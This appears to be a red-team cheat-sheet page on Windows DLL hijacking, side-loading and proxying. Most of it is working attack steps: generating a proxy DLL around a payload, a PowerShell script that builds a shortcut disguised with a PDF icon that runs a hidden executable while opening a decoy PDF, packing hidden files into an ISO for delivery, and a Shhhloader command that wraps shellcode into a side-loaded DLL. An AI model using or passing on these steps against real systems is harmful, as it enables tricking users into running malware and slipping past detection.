TwitterGitHubBlog

DLL Hijacking

DLL Hijacking / DLL Side-Loading / DLL Proxying

Print debug output from a DLL to a file:

#ifdef _DEBUG
#include <stdio.h>
#include <string.h>
#define __FILENAME__ (strrchr(__FILE__, '\\') ? strrchr(__FILE__, '\\') + 1 : __FILE__)
#define DPRINT(...) { \
  fprintf(stderr, "DEBUG: %s:%d:%s(): ", __FILENAME__, __LINE__, __FUNCTION__); \
  fprintf(stderr, __VA_ARGS__); \
}
#else
#define DPRINT(...)
#endif

Print debug output from a DLL to dbgview:

char buffer[256];
wsprintfA(buffer, "Hex: 0x%X, String: %s\n", 0x1234, "test");
OutputDebugStringA(buffer);

DLL Side-Loading with ISO Packing

Generate a proxy DLL with SharpDLLProxy:

Cmd > SharpDllProxy.exe --dll C:\Windows\System32\version.dll --payload OneDrive.Update
Cmd > move output_version\tmp1F94.dll C:\out\vresion.dll

Create an exec link (also here):

$obj = New-object -ComObject wscript.shell
$link = $obj.createshortcut("C:\Tools\PackMyPayload\out\clickme.lnk")
$link.windowstyle = "7"
$link.targetpath = "%windir%/system32/cmd.exe"
$link.iconlocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13" # PDF ico
$link.arguments = "/c start update.exe & ""%ProgramFiles(x86)%/Microsoft/Edge/Application/msedge.exe"" %cd%/fake.pdf"
$link.save()

Pack all the files into an ISO with PackMyPayload:

PS > python .\PackMyPayload.py .\out\ .\out\a.iso --out-format iso --hide OneDriveStandaloneUpdater.exe,vresion.dll,version.dll,fake.pdf

Unlock DllMain

CVE-2025-24076, CVE-2025-24994

DLL Proxying

Shhhloader

$ ./Shhhloader.py -p RuntimeBroker.exe -d -dp vresion.dll -o version.dll -s domain -sa megacorp.local shellcode.bin

DLL ForwardSideloading

Last updated